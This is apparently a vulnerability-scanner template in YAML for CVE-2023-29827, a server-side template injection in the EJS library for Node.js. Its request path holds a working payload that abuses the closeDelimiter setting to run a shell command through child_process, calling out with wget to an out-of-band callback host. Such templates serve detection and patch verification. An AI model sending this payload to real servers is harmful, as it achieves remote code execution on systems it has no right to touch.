48 lines
1.7 KiB
YAML
48 lines
1.7 KiB
YAML
id: CVE-2023-29827
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info:
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name: Embedded JavaScript(EJS) 3.1.6 - Template Injection
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author: ritikchaddha
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severity: critical
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description: |
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ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.
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impact: |
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High impact as it enables remote code execution.
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remediation: |
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Update EJS to the latest version to mitigate the vulnerability.
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reference:
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- https://github.com/mde/ejs/issues/720
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- https://github.com/mde/ejs/blob/main/SECURITY.md#out-of-scope-vulnerabilities
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- https://nvd.nist.gov/vuln/detail/CVE-2023-29827
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-29827
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cwe-id: CWE-74
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epss-score: 0.09885
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epss-percentile: 0.94826
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cpe: cpe:2.3:a:ejs:ejs:3.1.9:*:*:*:*:node.js:*:*
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metadata:
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max-request: 1
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vendor: ejs
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product: ejs
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framework: node.js
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tags: cve,cve2023,ssti,rce,ejs,oast
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http:
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- method: GET
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path:
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- "{{BaseURL}}/page?settings[view%20options][closeDelimiter]=x%22)%3bprocess.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27)%3b//"
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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- type: word
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part: body
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words:
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- "You are viewing page number"
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# digest: 490a0046304402203b0d567d7b052cf62884dfcdc0e21acfb8536feb3229ec67fe84d1c196e98d1802202c527d6fcfe222cfe243a865c16f552f10e595e0539804f9d3bf191a972b7e1f:922c64590222798bb761d5b6d8e72950 |